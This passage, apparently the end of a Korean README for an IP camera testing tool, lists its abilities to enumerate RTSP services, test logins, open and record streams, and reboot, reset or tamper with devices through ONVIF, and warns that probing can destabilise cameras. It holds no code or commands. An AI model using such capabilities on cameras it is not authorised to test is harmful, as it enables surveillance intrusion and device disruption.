이 도구는 서비스 열거, 인증 테스트, 스트림 열기, 비디오 녹화, ONVIF 관리 기능과의 상호작용, 그리고 충분한 권한이 있을 경우 대상 장치의 재부팅, 초기화, 변조 또는 기타 동작 변경을 수행할 수 있습니다.

목표가 증거 수집뿐이더라도 반복적인 RTSP 프로빙은 취약한 카메라를 불안정하게 만들 수 있으며, ONVIF 작업은 즉각적인 운영상의 영향을 미칠 수 있습니다.

라이선스

이 프로젝트는 GNU GPL3 라이선스에 따라 배포됩니다. LICENSE.md를 참조하세요.

도구 다운로드